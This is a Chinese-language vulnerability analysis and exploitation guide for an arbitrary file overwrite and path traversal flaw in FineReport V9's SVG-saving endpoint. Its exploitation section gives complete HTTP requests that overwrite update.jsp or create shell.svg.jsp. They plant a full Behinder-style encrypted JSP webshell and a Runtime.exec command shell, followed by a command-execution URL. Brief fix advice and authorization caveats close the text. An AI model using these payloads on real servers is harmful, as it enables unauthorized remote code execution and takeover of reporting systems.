帆软(FineReport) V9任意文件覆盖漏洞
字数 1227 2025-08-05 08:17:46

帆软(FineReport) V9 任意文件覆盖漏洞分析与利用

漏洞简介

帆软(FineReport) V9 版本中存在一个任意文件覆盖漏洞,攻击者可以利用该漏洞覆盖服务器上的已有文件(如 JSP 文件),从而获取服务器权限。该漏洞在近期HVV(红队评估)中被披露。

漏洞影响范围

  • WebReport V9 版本

漏洞分析

漏洞位置

漏洞主要存在于以下两个类中:

  1. fr-chart-9.0.jar 包中的 com.fr.chart.web/ChartSvgInitService
  2. fr-chart-9.0.jar 包中的 com.fr.chart.web/ChartSaveSvgAction

漏洞原理

  1. 通过 op 参数传递值 svginit 触发漏洞
  2. 通过 cmd 参数传递 design_save_svg 命令
  3. 通过 filePath 参数传递需要初始化的 svg 文件路径
  4. 系统会将 filePath 参数中 chartmapsvg 及后面的所有字符串拼接到 WebReport 目录下 WEB-INF/assets/ 之后

文件处理逻辑

  1. 如果生成的路径包含 .svg 后缀:

    • 系统会创建该文件
    • var7 的内容写入创建的文件
  2. 如果生成的路径不包含 .svg 后缀:

    • 系统会递归创建该目录
    • 无法写入数据到非 svg 文件
    • 但如果目标文件已存在(如 JSP 文件),则可以覆盖文件内容

关键安全问题

  1. 路径拼接时未过滤 ../,导致存在路径穿越漏洞
  2. 可以覆盖服务器上已存在的任意文件
  3. 默认安装中包含 update.jspupdate1.jsp 文件,为攻击者提供了便利

漏洞利用

方法一:覆盖现有 JSP 文件

  1. 构造 Payload 覆盖 update.jsp 文件内容:

    POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg../../update.jsp HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    __CONTENT__=<%out.println("test");%>
    
  2. 访问 update.jsp 验证是否覆盖成功

  3. 将文件内容替换为 WebShell(如冰蝎木马),注意转义双引号:

    __CONTENT__=<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
    
  4. 通过冰蝎等工具连接获取服务器权限

方法二:创建新 WebShell 文件(无损利用)

  1. 构造 Payload 创建新的 WebShell 文件:

    POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg../../shell.svg.jsp HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    __CONTENT__=<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
    
  2. 访问创建的文件并执行命令:

    http://target.com/WebReport/shell.svg.jsp?cmd=whoami
    

修复建议

  1. 严格过滤 filePath 参数的值,禁止路径穿越字符 ../
  2. 使用路径和文件后缀白名单机制
  3. 删除默认的 update.jspupdate1.jsp 页面
  4. 升级 FineReport 到最新版本

批量检测工具

可以开发或使用现有工具批量检测该漏洞,检测逻辑应包括:

  1. 检查目标是否存在 /WebReport/update.jsp 等默认文件
  2. 尝试写入测试文件验证漏洞是否存在
  3. 注意不要对目标系统造成破坏

注意事项

  1. 漏洞利用可能对目标系统造成破坏,应在授权范围内进行测试
  2. 批量检测时应注意请求频率,避免对目标系统造成拒绝服务
  3. 该漏洞需要写入权限,不同环境可能存在差异
帆软(FineReport) V9 任意文件覆盖漏洞分析与利用 漏洞简介 帆软(FineReport) V9 版本中存在一个任意文件覆盖漏洞,攻击者可以利用该漏洞覆盖服务器上的已有文件(如 JSP 文件),从而获取服务器权限。该漏洞在近期HVV(红队评估)中被披露。 漏洞影响范围 WebReport V9 版本 漏洞分析 漏洞位置 漏洞主要存在于以下两个类中: fr-chart-9.0.jar 包中的 com.fr.chart.web/ChartSvgInitService 类 fr-chart-9.0.jar 包中的 com.fr.chart.web/ChartSaveSvgAction 类 漏洞原理 通过 op 参数传递值 svginit 触发漏洞 通过 cmd 参数传递 design_save_svg 命令 通过 filePath 参数传递需要初始化的 svg 文件路径 系统会将 filePath 参数中 chartmapsvg 及后面的所有字符串拼接到 WebReport 目录下 WEB-INF/assets/ 之后 文件处理逻辑 如果生成的路径包含 .svg 后缀: 系统会创建该文件 将 var7 的内容写入创建的文件 如果生成的路径不包含 .svg 后缀: 系统会递归创建该目录 无法写入数据到非 svg 文件 但如果目标文件已存在(如 JSP 文件),则可以覆盖文件内容 关键安全问题 路径拼接时未过滤 ../ ,导致存在路径穿越漏洞 可以覆盖服务器上已存在的任意文件 默认安装中包含 update.jsp 和 update1.jsp 文件,为攻击者提供了便利 漏洞利用 方法一:覆盖现有 JSP 文件 构造 Payload 覆盖 update.jsp 文件内容: 访问 update.jsp 验证是否覆盖成功 将文件内容替换为 WebShell(如冰蝎木马),注意转义双引号: 通过冰蝎等工具连接获取服务器权限 方法二:创建新 WebShell 文件(无损利用) 构造 Payload 创建新的 WebShell 文件: 访问创建的文件并执行命令: 修复建议 严格过滤 filePath 参数的值,禁止路径穿越字符 ../ 使用路径和文件后缀白名单机制 删除默认的 update.jsp 和 update1.jsp 页面 升级 FineReport 到最新版本 批量检测工具 可以开发或使用现有工具批量检测该漏洞,检测逻辑应包括: 检查目标是否存在 /WebReport/update.jsp 等默认文件 尝试写入测试文件验证漏洞是否存在 注意不要对目标系统造成破坏 注意事项 漏洞利用可能对目标系统造成破坏,应在授权范围内进行测试 批量检测时应注意请求频率,避免对目标系统造成拒绝服务 该漏洞需要写入权限,不同环境可能存在差异